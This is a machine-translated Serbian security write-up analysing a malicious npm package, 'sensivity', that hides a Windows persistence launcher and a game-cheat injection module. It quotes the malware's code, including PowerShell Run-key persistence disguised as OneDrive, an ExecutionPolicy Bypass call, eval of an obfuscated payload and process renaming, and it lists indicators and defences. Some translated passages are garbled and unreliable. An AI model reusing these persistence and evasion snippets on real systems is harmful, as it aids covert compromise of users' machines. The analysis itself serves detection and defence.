PairLoop: Скривени панел за даљинско управљање у npm пакету

PairLoop: Један npm пакет, седамдесет верзија и скривени Windows даљински управљачки панел

ТЛ; ДР

npm пакет осетљивост описује себе као „Контролни панел осетљивости“. На оперативном систему Windows се понаша као алат за даљинско управљање и надзор.

Његова улазна тачка, launcher.js, преименује свој процес у Runtime Broker, уписује вредност аутоматског покретања Run-key-а под називом OneDriveUpdate који поново покреће пакет путем скривеног VBScript-а, покреће PowerShell са -ExecutionPolicy Bypass, а затим процењује замаскирани корисни терет сервера од 171 KB заједно са нативним модулом од 6.87 MB, sens.node.

Служи контролном панелу за упаривање телефона на TCP порту 3000 и чита URL адресу активног прегледача путем Windows UIAutomation-а, тражећи један чврсто кодиран YouTube видео.

Два дела која су раније изгледала као црне кутије сада су решена. Замагљени сервер, server.obf.js, користи obfuscator.io RC4 шему низова стрингова; поновна имплементација његовог декодера ван мреже (без извршавања JavaScript-а) опоравља једну спољну крајњу тачку — https://izopi.com/check.php — заједно са уграђеним јавним RSA кључем који се користи за верификацију потписаних одговора лиценце.

Изворни модул, sens.node, није упакован: његова табела увоза и уграђени низови га идентификују као DirectX 11 / Dear ImGui преклапање у игри које пружа функције aimbot-а, ESP-а (wall-hack-а) и triggerbot-а, покрећено убризгавањем удаљених процеса и читањем/писањем у меморију.

Стрингови унутар њега референцирају ентитете возила и локације на мапи у складу са GTA V / FiveM. npm пакет је омотач за испоруку и перзистенцију око тог нативног модула.

Кључни сигнал је оперативне, а не техничке природе: један анонимни издавач је објавио отприлике седамдесет верзија једног пакета — КСНУМКС кроз КСНУМКС — током неколико дана, сваки са истим лансирним системом.

Нема инсталација hooksКорисни терет се покреће само када је пакет покренут.

Напад: Како функционише

sensivity испоручује десет датотека. Датотека package.json је оскудна: нема поља репозиторијума, нема лиценце, главни и два bin алијаса (sensitivity, sens) који сви указују на launcher.js, и почетна скрипта за node launcher.js. Нема постинсталације нити претходне инсталације. Ништа се не покреће при npm инсталацији. Понашање описано у наставку се покреће када корисник покрене пакет — путем bin shim-а, почетне скрипте или require.

Тарбол садржи покретач, замаскирани сервер, нативни модул, Visual Basic скрипту и директоријум public/web за контролну таблу. launcher.js је читљиви оркестратор; логика која је важна током извршавања налази се у два блоба које учитава - замаскирани сервер и компајлирани нативни модул, оба решена у наставку.

 Маскирање процеса и лажни програм за ажурирање OneDrive-а

На почетку извршавања, launcher.js два пута поставља сопствено име процеса:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker је легитиман Windows процес (RuntimeBroker.exe) који посредује у дозволама апликација. Преименовање Node процеса у складу са њим значи да брзи поглед на Task Manager не показује ништа необично.

Перзистентност је написана путем PowerShell-а, а не директног API-ја регистра:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Вредност аутоматског покретања се зове OneDriveUpdate и не указује директно на пакет. Она указује на wscript.exe који покреће укључени OneDrive.Standalone.Updater.vbs. Тај скрипт поново покреће node launcher.js у скривеном прозору. И назив кључа за покретање и назив VBScript датотеке позајмљују брендирање компаније Microsoft, тако да се унос за аутоматско покретање чита као рутински задатак OneDrive-а.

PowerShell са заобилажењем смерница за извршавање

Покретач више пута обраћа пажњу PowerShell-у. Скенери означавају као критичне податке о покретању генерисане .ps1 датотеке са онемогућеном политиком извршавања:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Заобилажење ExecutionPolicy уклања локалну проверу потписивања скрипти за то позивање. Генерисане скрипте обрађују надзор прегледача и детекцију прозора описане у следећем одељку.

Обфусцирани сервер и нативни модул

Након подешавања, launcher.js учитава и извршава свој стварни терет:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js је 171 KB _0x-array obfuscation — JavaScript шаблон где се сваки стринг и идентификатор замењује индексом у промешаном низу, а затим се дереференцира током извршавања. Шема је RC4 варијанта коју производи obfuscator.io: једна функција декодера base64-декодира унос низа, а затим га RC4-дешифрује помоћу кључа по позиву. Реимплементација тог декодера у посебном скрипту — покретање само реимплементације преко екстрахованог низа стрингова од 821 уноса, никада сопственог JavaScript-а пакета — чисто га одмотава. Оно што се појављује је скромно, али...cisиве: један екстерни УРЛ, https://izopi.com/check.php`, додељен константи LICENSE_URL; уграђени RSA PUBLIC_KEY_PEM`; локални панел рутира /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off и /trigger/status; и стрингови child_process, crypto и [Sensivity] sens.node loaded — последњи је тачна линија дневника коју покретач преписује у програмски модул loaded. Крајња тачка је провера лиценце: клијент објављује идентификатор (обфусцирани сервер форматира Discord ID: %s стринг) и RSA кључ верификује потписан одговор сервера.

sens.node је компајлирани нативни додатак од 6.87 MB и није упакован — ентропија секције је на 5.6–6.6 и табеле за увоз и извоз PE су нетакнуте, тако да су његове могућности директно читљиве. Извози napi_register_module_v1, standard Улазна тачка N-API чвора, тако да га сервер који се евалуира учитава са обичним require. Његова табела увоза је tell. Из KERNEL32 повлачи OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules и Process32First/NextW — канонски скуп за лоцирање другог процеса, алокацију меморије унутар њега и читање или писање те меморије. Из USER32 повлачи GetAsyncKeyState, GetKeyState, mouse_event и SetCursorPos; повезује d3d11.dll, D3DCOMPILER_43 и dwmapi за преклапање на екрану и комплетан WINHTTP скуп за мрежне позиве. Његови уграђени стрингови именују скуп функција без двосмислености: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected и банер Dear ImGui Dear ImGui 1.91.3 WIP. Стрингови локације и ентитета као што су Grapeseed Medical Clinic и речник vehicle-ESP су у складу са GTA V / FiveM.

Подела је намерна: читљиви launcher.js садржи само делове које скенер лако чита — перзистентност, маскирање, сам eval позив — док маскирање скрива један спољни хост са којим извршно окружење контактира, а бинарни фајл садржи логику преклапања игре и убризгавања процеса. Лаунчер је танка, надгледана љуска; маскирани сервер скрива мрежни идентитет; нативни модул је корисни терет. Увозе и стрингове бинарног фајла описујемо као прочитане; не закључујемо намену оператора из њих.

 Контролни панел за упаривање телефона на порту 3000

Покретач управља локалним веб сервером на TCP порту 3000 и третира га као синглтон. Упитује за постојећи слушач и брише га пре повезивања:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панел је доступан на http://localhost:3000, са чврсто кодираном резервном ЛАН УРЛ адресом http://192.168.1.16:3000. Директоријум public/ и понашање панела су у складу са током QR-упаривања: телефон скенира код и повезује се са хостом као даљински управљач. Ниједан спољни домен команде и контроле се не појављује у отвореном тексту у покретачу — али, као што показује горња деобфускација, један је присутан на обфусцираном серверу: крајња тачка лиценце izopi.com. Сам панел је локални и ограничен на ЛАН; једини излазни хост је та провера лиценце.

Одвојени модел супервизора/радника одржава процес у животу. Покретач се поново покреће са заставицама окружења SENSIVITY_SUPERVISOR и SENSIVITY_WORKER, при чему сваки подређени процес ради скривено, тако да убијање једног процеса оставља надзорника да га поново покрене.

Надзор прегледача и YouTube сигнал

Најспецифичније понашање је праћење прегледача. launcher.js гради PowerShell који покреће Windows UIAutomation да чита адресну траку покренутог прегледача:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern враћа текстуални садржај UI елемента. Примењен на контролу за уређивање у адресној траци прегледача, враћа URL адресу коју жртва тренутно прегледа — без проширења прегледача, без додиривања профила на диску и без API закачке. Генерисани скрипт понавља листу $browserNames и издваја URL адресу или наслов прозора прегледача који је у првом плану.

Тај URL се тестира у односу на један чврсто кодирани циљ:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Покретач у петљи од три секунде испитује прозор прегледача који приказује YouTube, а генерисани PowerShell носи пар Get-YouTubeBrowser / Test-TargetYouTubeUrl који се подудара са тим ИД-ом видеа. Видљиви ефекат је двострук: активна URL адреса прегледања се чита са екрана жртве и детектује се интеракција домаћина са једним одређеним YouTube видеом. Описујемо механизам и мету; не закључујемо мотив из њих.

Прочитавање адресне траке је оно што скенер означава као sensitive_data_enumeration — извор Process::env и UIAutomation који напаја мрежно компатибилно окружење за извршавање. Само по себи делује доброћудно и претвара се у надзор тек када се животни циклус података прати од извора UIAutomation до замаскираног сервера.

Временска линија и еволуција верзија

Осетљивост није једнократно отпремање. Издавачки налог има отприлике седамдесет објављених верзија овог једног пакета, а нове су стално стизале током периода рецензије. Покретач расте функцију по функцију у верзији 2.5.x, док његова перзистентност и учитавање корисног терета остају фиксни.

Датум (UTC) Посматране верзије Стање покретача
2026-06-02 2.5.8 - 2.5.46 (25) Основни покретач QR-панела; трајност тастера за покретање; евалуација замаскираног сервера.
2026-06-03 2.5.53 - 2.5.61 (6) Исти отисак прста; сузбијање трага конзоле.
2026-06-04 2.5.67, 2.5.68 (2) Додаје закачени циљ ангажовања на YouTube-у wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Попуњавање празнина, поновно објављивање у целом опсегу; надзорник/раднички надзорник.

Читање покретача у преузетим верзијама — 2.5.0, 2.5.36 и 2.5.69 — показује четири нивоа. Најраније верзије носе основни покретач за упаривање QR кодова. Од верзије 2.5.33 појављује се UIAutomation алат за прикупљање адресне траке. Од верзије 2.5.58 додаје се слој за управљање супервизорима. Од верзије 2.5.64, одвојени надзорник/радник употпуњује сет. Кроз цео процес, четири ствари се никада не мењају: кључ OneDriveUpdate Run, алат за испуштање OneDrive.Standalone.Updater.vbs, евалуирани server.obf.js и нативни модул sens.node.

Талас из 2026-06-05 је значајан јер је поново објавио верзије са ниским бројевима — од 2.5.0 до 2.5.15 — које се налазе испод верзија потврђених неколико дана раније. Ефекат је континуирана линија 2.5.x у регистру, при чему свака верзија носи исти покретач.

Индикатори компромиса

Сви индикатори испод су директно прочитани из tarball-а пакета. Читајући покретач садржи само loopback и једну приватну LAN адресу; једно екстерно име хоста, izopi.com, је враћено деобфускацијом server.obf.js ван мреже.

тип Индикатор белешке
пакет npm:sensivity (≈70 верзија, 2.5.0-2.5.69) Издавач једног пакета; без репозиторијума; без лиценце.
Фајл launcher.js Читајући оркестратор; главни и циљни бин.
Фајл server.obf.js (≈171 KB) obfuscator.io RC4 корисни садржај низа стрингова, учитан преко eval(fs.readFileSync(...)).
Фајл sens.node (≈6.87 МБ) Додатак PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Фајл OneDrive.Standalone.Updater.vbs Скривени поновни покретач (node launcher.js).
мрежа https://izopi.com/check.php Крајња тачка лиценце/аутентификације враћена је са замаскираног сервера; уграђени RSA јавни кључ верификује одговоре.
Способност OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Убризгавање у даљинске процесе и могућност читања/писања у меморији.
Способност Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui преклапање игре које имплементира функције aimbot, ESP и triggerbot.
регистар HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Вредност аутоматског покретања која показује на wscript.exe и покретач VBScript-а.
Proces process.title = 'Runtime Broker' Маскира се као легитимни процес Windows Runtime Broker-а.
бехавиорал powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Заобилажење политике извршавања које се користи за генерисане PowerShell скрипте.
бехавиорал UIAutomation ValuePattern читање адресне траке прегледача Чита URL адресу прозора прегледача у првом плану.
бехавиорал ИД циљног видеа wJWta2lO0Lw; Анкета на Јутјубу у трајању од 3 секунде Закачен сигнал за праћење ангажовања.
мрежа http://localhost:3000, резервни http://192.168.1.16:3000 Контролна табла за QR упаривање изложена локално и на локалној мрежи.
животна средина SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Одвојене заставице координације процеса надзора.

Атрибуција, утицај и браниоци

Пакет је објављен од стране једног npm налога чија је наведена имејл адреса непроверена Gmail адреса. Налог има веома негативну репутацију у регистру, одржава и објављује само овај један пакет и нема повезано спремиште изворног кода. Нисмо потврдили власништво над имејлом и приписујемо кампању налогу издавача, а не било којој именованој особи. Покретач нема инфраструктуру отвореног текста, али је сада познат један спољни хост: замаскирани сервер контактира izopi.com ради провере лиценце, а нативни модул — чита се из своје табеле увоза и низова, а не обрнуто инструкцију по инструкцију — је слој игре који убризгава и чита меморију другог процеса.

Приметни утицај пада на кориснике Windows-а који инсталирају и покрећу Sensitivity очекујући услужни програм на контролној табли. На тим хостовима пакет успоставља аутоматско покретање перзистентности прикривено као OneDrive задатак, преименује се да би имитирао системски процес, чита URL адресу онога што корисник прегледа и поставља панел за упаривање који повезује машину са удаљеним уређајем преко локалне мреже. Чувар супервизора/радника значи да једно убијање процеса не уклања га; унос са тастером Run преживљава поновна покретања. macOS и Linux нису циљани покретачем — путање persistence, PowerShell и UIAutomation су само за Windows.

Промена верзија од седамдесет је тренд који вреди означити. Поновно објављивање једног пакета десетине пута у неколико дана, укључујући и допуњавање бројева верзија испод оних које су већ уклоњене, одржава живу копију у регистру између уклањања и фрустрира листе блокирања закачене по верзији. Унос на листу блокирања за sensivity@2.5.61 не ради ништа против sensivity@2.5.3 поново објављеног следећег дана.

Браниоци могу деловати на основу следећег:

  • Блокирајте осетљивост имена пакета у потпуности у листама дозвољених за регистрациони прокси и CI. Закачињање појединачних верзија губи на ритму поновног објављивања; име је трајни индикатор.
  • Потражите вредност за покретање под називом OneDriveUpdate чији подаци позивају wscript.exe за .vbs датотеку у путањи по кориснику. Оригинални програм за ажурирање OneDrive-а није регистрован на овај начин.
  • Упозорење о Node.js процесу чији је process.title Runtime Broker. Прави брокер је RuntimeBroker.exe, а не Node runtime.
  • Означи npm преузимања пакета током инсталације који испоручују компајлирани .node додатак плус eval(fs.readFileSync(…)) сродне .obf.js датотеке. То упаривање — непрозирни нативни бинарни фајл учитан поред обфусцираног текстуалног корисног садржаја — је структурни показатељ овде, независно од било ког IOC-а стринга.
  • Третирај сваки локално повезани слушач на порту 3000, кога је покренуо неочекивани Node процес, као сумњив на управљаним Windows крајњим тачкама.
  • Блокира или упозорава на одлазне захтеве ка izopi.com од стране програмера или крајњих корисника; то је једина спољна крајња тачка пакета, до које се стиже на /check.php са обфусцираног сервера.
  • За било који .node додатак који је укључен у пакет, проверите његову табелу увоза пре него што му верујете. Комбинација OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread је убризгавање удаљеног процеса без обзира на то шта пакет тврди да ради; овде се налази поред Direct3D преклапања и aimbot/ESP/triggerbot стрингова.

За статичку анализу pipelineс, облик уверења је трајан током целог процеса промене верзије: профил инсталације ван мреже, додела наслова процеса познатом имену системског процеса, писање помоћу тастера за покретање путем PowerShell-а и процена датотеке прочитане са диска. Ништа од тога не зависи од домена, IP адресе или броја верзије коју следеће поновно објављивање може да ротира.

 Референце

[npm: осетљивост] – страница регистра за линију верзије пакета о којој се овде расправља; подложно уклањању.

sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа